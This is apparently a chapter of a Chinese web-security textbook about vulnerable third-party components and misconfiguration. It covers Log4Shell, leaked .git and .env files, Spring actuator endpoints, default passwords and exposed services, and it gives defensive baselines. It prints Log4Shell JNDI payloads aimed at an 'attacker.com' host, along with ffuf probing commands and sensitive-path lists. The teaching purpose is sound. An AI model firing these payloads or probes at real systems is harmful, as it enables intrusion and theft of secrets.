前面十五章,漏洞都出在"你自己写的代码 "里。 这一章不一样。真实系统里,大量漏洞来自"你没写的代码 "------ 那些第三方组件、框架、中间件,以及"一个没关掉的开关 "。 它是漏洞篇的收官:提醒你------你从不只是在保护自己的代码。
17.0 开篇:一次"什么都没改"的沦陷
某公司系统上线三年,代码一次没动过。
某天,安全团队发现服务器被人拿了 shell。日志显示:攻击者用的是一个 两年前就被公开的组件漏洞。
工程师很委屈:"我们的代码没问题啊。"
问题恰恰不在"他们写的代码"里,而在------他们依赖的一个开源组件,有个公开的漏洞;而这个组件,已经两年没升级了。
还有一类更"冤"的悲剧:
arduino
攻击者只是访问了 https://target.com/.git/config
→ 整个网站的源码被下载走了
或者访问 https://target.com/.env
→ 数据库密码、API 密钥,全在里面
或者访问 https://target.com/actuator/env
→ 环境变量、配置,一览无余
这些都不是"代码漏洞",而是"忘记关上的门"。
🔥 本章的两个主题:
arduino
① 组件漏洞:你依赖的第三方库,可能带着"已知的 RCE"
② 配置问题:默认配置/调试功能/信息泄露,把"门"留在了那里
17.1 组件漏洞:你依赖的"定时炸弹"
17.1.1 现代应用的现实:90% 是别人的代码
一个真实的 Java 项目,pom.xml / build.gradle 里可能有 100+ 个直接依赖,
算上传递依赖,可能达到 500+ 个 jar 包。
一个 Node 项目,node_modules 动辄几万、几十万个文件。
这些代码不是你写的,但它们都在你的服务器上运行。 只要其中一个有漏洞,你的系统就有漏洞。
17.1.2 那些"轰动世界"的组件漏洞
| 组件 | 漏洞 | 影响 |
|---|---|---|
| Log4j2 | Log4Shell(CVE-2021-44228) | 一个日志打印 → RCE,影响近乎全互联网 |
| Fastjson | 反序列化 RCE(多个 CVE) | Java 生态重灾区 |
| Apache Struts2 | 多个 OGNL 注入 RCE | 著名的 Equifax 数据泄露案 |
| Apache Shiro | rememberMe 反序列化 RCE | Java 应用常见 |
| Spring | Spring4Shell 等 | Java 生态 |
| Jenkins | 多个 RCE | CI/CD 系统 |
| WebLogic | 多个反序列化 RCE | 中间件 |
| PHPUnit | eval 注入 | PHP 生态 |
| 某些 NPM 包 | 恶意投毒 / 漏洞 | Node 生态 |
💡 Log4Shell 为什么轰动 :Log4j 是最常用的 Java 日志库,几乎无处不在。而它的漏洞极其容易被触发 ------只要把这段字符串"记录进日志",就可能 RCE(比如记在 User-Agent 里):
ruby
${jndi:ldap://attacker.com/a}
17.1.3 怎么"发现"组件漏洞
四个维度:
markdown
① 【识别组件和版本】
- 响应头:Server、X-Powered-By、X-AspNet-Version
- 错误页面:堆栈里有类名 / 版本
- 特定路径:/actuator/info、/phpinfo.php、/package.json、/WEB-INF/
- 静态资源特征:JS 文件里的注释、CSS 特征
- favicon 哈希(用 favicon 指纹识别系统)
② 【查已知漏洞】
- 拿到组件 + 版本 → 查 CVE / 官方安全公告
③ 【自动化扫描】
- nuclei(模板化的 CVE 检测)
- 各种"组件指纹 + CVE"扫描器
④ 【依赖扫描(白盒)】
- OWASP Dependency-Check
- Snyk、Trivy、Grype、Safety(Python)
17.1.4 Log4Shell 一个例子(理解原理)
探测 payload(放在任何"会被日志记录"的地方):
shell
${jndi:ldap://你的域名/a}
${jndi:dns://你的域名/a}
${jndi:ldap://${hostName}.你的域名/a}
放在哪:User-Agent、Referer、用户名、搜索词、任何"会被记进日志"的输入。
验证方式:用 Burp Collaborator 或 DNSLog,看有没有 DNS / LDAP 回连。
⚠️ 注意 :Log4j2 的这个漏洞早已修复,现代版本不受影响 。这里用它举例,是因为它最能说明"组件漏洞"的可怕------触发点可能只是一个日志打印。
17.1.5 修复
csharp
✅ 【持续升级依赖】定期升级到安全版本
✅ 【SCA(软件成分分析)】把依赖扫描接入 CI/CD,提交时自动检测
✅ 【锁定版本】用 lock 文件,避免意外引入有漏洞的版本
✅ 【SBOM】维护软件物料清单,清楚自己用了什么
✅ 【关注安全公告】订阅所用组件 / 框架的安全消息
✅ 【减小依赖】能不用的库就别用(减少攻击面)
✅ 【纵深】即便某个组件被攻破,网络隔离 / 最小权限能限制后果
17.2 信息泄露:那些"忘关的门"
这是最容易被忽视、又最"立竿见影"的一类问题。 一个 URL 就可能导致全量源码、密钥、配置泄露。
17.2.1 版本控制泄露
bash
/.git/config Git 配置
/.git/HEAD
/.git/index ★ 配合工具能还原整个源码
/.git/logs/HEAD
/.svn/entries SVN
/.hg/ Mercurial
/.bzr/
利用 :用 GitHack / git-dumper 这类工具,把整个 Git 仓库从网站上"拉"下来,还原出全部源码。
🔥 危害极大 :源码里有注释、接口、密钥、"隐藏的功能"------等于把系统设计图送给了攻击者。
17.2.2 环境与配置文件泄露
bash
/.env ★ 常有数据库密码、API Key、密钥
/.env.local
/.env.production
/config.php
/config.json
/web.config
/application.yml / application.properties
/WEB-INF/web.xml
/composer.json / package.json
💡 .env 几乎是"密钥大全"------里面通常有:数据库连接串、Redis 密码、第三方 API Key、JWT 密钥、云凭证。
17.2.3 备份文件
bash
/backup.zip
/www.zip
/website.tar.gz
/index.php.bak
/config.php~
/index.php.swp (Vim 的临时文件)
/database.sql
/db.sql.gz
测试方法:用字典爆破这些"常见备份名":
bash
ffuf -w backup-names.txt -u https://target/FUZZ -fc 404
17.2.4 调试与管理接口
bash
【Spring Boot Actuator】
/actuator 列出所有可用端点
/actuator/env ★ 环境变量(可能含密码)
/actuator/health
/actuator/beans
/actuator/mappings 所有 URL 映射
/actuator/heapdump ★★ 堆转储(含内存里的敏感数据!)
/actuator/threaddump
【Swagger / API 文档】
/swagger-ui.html
/swagger-ui/
/v2/api-docs
/v3/api-docs
/openapi.json ★ 一份完整的 API 地图
【其他】
/phpinfo.php PHP 信息
/server-status Apache
/console (某些中间件)
/druid/ (阿里 Druid 监控)
💡 /actuator/heapdump 尤其危险 :下载堆转储后,能从里面提取出内存中的密码、Token、密钥。
17.2.5 详细报错泄露
ini
□ 异常堆栈:暴露框架版本、文件路径、类名、SQL 语句
□ SQL 报错:暴露表结构(第 7 章报错注入的基础)
□ 调试页面:如 Django 的 DEBUG=True 页面
□ 路径遍历的报错:暴露目录结构
17.2.6 目录列表与其他
bash
□ 目录列表(Directory Listing):访问 /uploads/ 直接列出所有文件
□ robots.txt / sitemap.xml:暴露隐藏路径
□ .DS_Store(macOS):泄露目录结构
□ 注释(HTML / JS / 源码):暴露内部信息
□ 第三方服务泄露:如仓库里的 .git 被搜索引擎索引
17.2.7 一个"信息泄露检查清单"
bash
□ /.git/、/.svn/、/.env、/backup.zip 等常见敏感路径
□ /actuator/*(Spring Boot)
□ swagger-ui、api-docs、openapi.json
□ /phpinfo.php、/server-status
□ 错误页面有无堆栈 / 版本信息
□ 目录可否直接列出
□ robots.txt、sitemap.xml 里有无隐藏路径
□ 前端 JS 里的密钥、注释(第 4 章)
□ 上传目录是否可"猜路径 + 遍历"
17.3 默认配置与不安全配置
17.3.1 默认口令
bash
□ 中间件:Tomcat manager、WebLogic、Jenkins、RabbitMQ
□ 数据库:MySQL root 空密码、Redis 无密码、MongoDB 无认证
□ 系统:路由器/物联网设备的出厂密码
□ CMS:WordPress、Drupal 的默认管理员
□ 监控:Grafana admin/admin、Kibana
□ 云服务:AK/SK 权限过大
17.3.2 未授权访问
yaml
□ Redis 未授权(默认 6379,无密码)→ 可写文件拿 shell
□ MongoDB 未授权(默认 27017)→ 直接读库
□ Elasticsearch 未授权(9200)→ 读数据 / 执行脚本
□ Memcached 未授权(11211)
□ Jenkins 未授权
□ Docker API 未授权(2375)→ 完全控制宿主机
□ Kubernetes API 未授权
⚠️ 这些服务如果暴露到公网,往往就是"一键拿服务器"。
17.3.3 危险功能开启
ini
□ 目录列表(autoindex on)
□ 调试模式(DEBUG=True)→ 生产环境绝不能开
□ 详细报错
□ 多余 HTTP 方法(PUT / DELETE / TRACE)
□ CORS 全放开(Access-Control-Allow-Origin: *)
□ 云元数据 IMDSv1(第 10 章)
□ 反序列化功能在对外接口上开放
17.3.4 安全响应头缺失
回顾第 3、4 章,这些"应当存在"的头,缺了就是问题:
| 响应头 | 缺失的后果 |
|---|---|
Content-Security-Policy |
XSS 少一道防线 |
Strict-Transport-Security |
可被降级攻击 |
X-Content-Type-Options: nosniff |
MIME 嗅探 |
X-Frame-Options / frame-ancestors |
点击劫持 |
Referrer-Policy |
敏感 URL 外泄 |
Set-Cookie 的 HttpOnly/Secure/SameSite |
会话安全 |
💡 一张"安全响应头体检表",是你能给任何网站做的、最快的一份安全结论。
17.3.5 修复
arduino
✅ 改掉所有默认口令;首次部署强制改密
✅ 内部服务绝不暴露公网(Redis/Mongo/ES/Docker API)
✅ 关闭调试模式、目录列表、详细报错
✅ 显式设置安全响应头(在 Nginx / 应用层统一加)
✅ 云:开启 IMDSv2、IAM 最小权限
✅ 用"安全基线"检查清单,部署前逐项过
17.4 从"防御视角"看组件与配置
本章的修复,不是"改几行代码",而是"建立一套机制"。这是它和其他章节最大的不同。
17.4.1 资产清单:先知道"有什么"
一切防御的前提是"知道自己有什么"。
arduino
□ 域名 / 子域名清单
□ IP / 端口 / 服务清单
□ 应用清单(谁在跑、跑在哪、谁负责)
□ 组件清单(SBOM:每个应用用了哪些库、什么版本)
□ 数据清单(有哪些敏感数据、存在哪、谁有权限)
□ 暴露面清单(哪些是"故意对公网开放"的)
💡 很多"内部服务被暴露公网"的事故,根源就是"没人知道它还在跑"。
17.4.2 持续监控:把"一次性检查"变成"持续过程"
bash
□ 依赖扫描:接入 CI/CD,每次提交自动扫(Snyk / Trivy / Dependency-Check)
□ 资产变化监控:新上线的域名/IP 自动发现
□ 敏感路径监控:/.git/、/.env 等定期扫描
□ 安全响应头监控:定期巡检
□ 漏洞公告订阅:所用组件/框架安全消息
□ SCA + SAST + DAST 组合
17.4.3 安全左移(Shift Left)
把安全问题"提前"到开发阶段发现,成本远低于上线后。
设计阶段 → 威胁建模
编码阶段 → IDE 插件(实时代码扫描)
提交阶段 → SAST + 依赖扫描(CI 门禁)
构建阶段 → 镜像扫描、SCA
部署阶段 → 配置基线检查
运行阶段 → DAST + 运行时监控
17.4.4 一个"生产环境安全基线"(可落地)
bash
【网络】
□ 内部服务不对公网暴露
□ 有 WAF / 防火墙规则
□ 出站流量受控(防 SSRF 打内网)
【主机】
□ 系统及时打补丁
□ 服务以最小权限运行
□ 关闭无用端口 / 服务
【应用】
□ 关闭调试模式、详细报错
□ 无默认口令
□ 安全响应头齐全
□ 敏感路径不可访问(.git/.env/备份)
【依赖】
□ 无高危已知漏洞
□ 有 SBOM
□ CI 里有依赖扫描
【数据】
□ 敏感数据加密 / 脱敏
□ 备份可恢复且受保护
□ 访问最小权限
【日志与监控】
□ 关键操作有日志
□ 有异常告警
□ 日志不含明文敏感数据
17.5 动手任务
任务 1:信息泄露大排查(只在你自己的靶场 / 授权目标上)
bash
① 用 ffuf 扫常见敏感路径:
ffuf -w sensitive-paths.txt -u https://target/FUZZ -fc 404
② 重点检查:
/.git/config、/.env、/backup.zip、/swagger-ui.html、/actuator/
③ 对 DVWA / Juice Shop 也扫一遍(它们本身是"故意有漏洞"的)
④ 记录:哪些路径可访问?泄露了什么?
任务 2:搭建一个"信息泄露演示"
bash
① 在本地起一个简单 Web 服务
② 故意留一个 /.git/ 目录 或 /.env 文件
③ 访问它,理解"为什么这是漏洞"
④ 再用 GitHack 把它"还原"一遍,体会危害
⑤ 然后删掉它,理解"应该怎么防"
任务 3:安全响应头体检
perl
对 3 个网站(你自己的 / 授权的 / 公开但不攻击)执行:
curl -sI https://example.com | grep -iE "content-security|x-frame|strict-transport|x-content-type|referrer"
逐个记录:
□ 有 CSP 吗?有 unsafe-inline 吗?
□ 有 HSTS 吗?
□ 有 X-Frame-Options / frame-ancestors 吗?
□ Set-Cookie 有 HttpOnly / Secure / SameSite 吗?
□ 写出一份"体检报告"
任务 4:依赖扫描实践
sql
① 找一个你本地的项目(Java / Node / Python)
② 运行依赖扫描:
Java: mvn org.owasp:dependency-check-maven:check
Node: npm audit
Python: pip-audit 或 safety check
Docker: trivy image 你的镜像
③ 看看结果里有没有高危 CVE
④ 理解"为什么"这些问题平时没人发现------因为"没人扫"
任务 5:写一份"生产环境安全基线"
把 17.4.4 的基线,改写成适合你团队的版本,作为上线前检查清单。
17.6 本章小结
核心结论
- 现代应用 90% 是别人的代码。 你在运行时,也在运行别人的漏洞。
- 组件漏洞 :Log4j2、Fastjson、Struts2、Shiro、WebLogic......触发点可能只是一个日志打印。
- 发现组件漏洞两把钥匙:识别版本(响应头 / 报错 / 特征路径 / favicon)+ 查 CVE / nuclei / 依赖扫描。
- 信息泄露是"忘关的门" :
.git、.env、备份文件、/actuator/、Swagger、/phpinfo.php。 .git泄露 = 源码全丢 ;.env泄露 = 密钥全丢 ;/actuator/heapdump= 内存里的密码全丢。- 默认配置问题:默认口令、未授权访问(Redis / Mongo / ES / Docker API)、调试模式、目录列表。
- 安全响应头缺失是一类"可交付"的评估结论(CSP / HSTS / X-Frame-Options / SameSite)。
- 防御不是"改代码",而是"建机制":资产清单、SBOM、持续扫描、安全左移。
- 一切防御的前提 是"知道自己有什么"------未知资产 = 看不见的漏洞。
- 把检查变成流程:接入 CI/CD,让"安全"成为"自动化的一环",而不是"某个人偶尔记得做的事"。
随身口诀
你在运行别人的代码,也在运行别人的漏洞;.git 丢源码,.env 丢密钥,actuator 丢内存;默认口令先改掉,内部服务别上公网;防御靠机制:资产清单 + SBOM + 持续扫描。
17.7 漏洞篇总结:十一类漏洞,一条主线
漏洞篇到此结束。 回顾这十一章,它们其实都在反复讲同一件事:
yaml
第 7 章 注入 → 数据变成了代码
第 8 章 XSS → 数据变成了代码(在浏览器里)
第 9 章 CSRF → 浏览器替用户发了请求
第 10 章 SSRF → 服务器替用户发了请求
第 11 章 文件上传 → 用户往可执行处写了文件
第 12 章 认证与会话 → 门没锁好 / 钥匙能复制
第 13 章 访问控制 → 登录 != 有权
第 14 章 反序列化 → 数据被还原成对象时执行了代码
第 15 章 XXE → 数据(XML)触发了外部访问
第 16 章 业务逻辑 → 流程能被滥用
第 17 章 组件与配置 → 别人的代码 / 忘关的门
🔥 一条贯穿全书的主线:
每一个漏洞,都是"某个边界上,某个'应该被校验 / 隔离 / 编码'的地方,没有被校验 / 隔离 / 编码"。 每一个修复,都有一个"根本解"(分离数据与代码、输出编码、服务端校验属主、禁用外部实体......)和一个或多个"创可贴"(黑名单、过滤、前端校验)。
学会区分"根本解"和"创可贴"------你已经比大多数人多懂了安全一半。
17.8 预告:第四篇(进阶篇)
漏洞篇讲的是"单个漏洞怎么打"。
从第四篇开始,我们进入"进阶"------把零散的漏洞,变成系统化的能力:
arduino
第 18 章 代码审计基础 → 从"黑盒"到"白盒"
第 19 章 自动化与漏洞挖掘 → 把经验沉淀成工具
第 20 章 绕过大全 → 系统化的绕过方法论
第 21 章 请求走私与协议层 → 高级协议漏洞
下一章:第 18 章 代码审计基础。 从"敲打系统"到"阅读系统"------这是一名安全工程师走向深入的必经之路。
📌 本章金句 "组件与配置问题提醒我们最朴素的一件事:安全意识不是'我写的代码没问题',而是'我知道我依赖什么、我暴露了什么、我留下了什么'。 一个连自己有哪些资产都说不清的团队,谈不上任何安全。"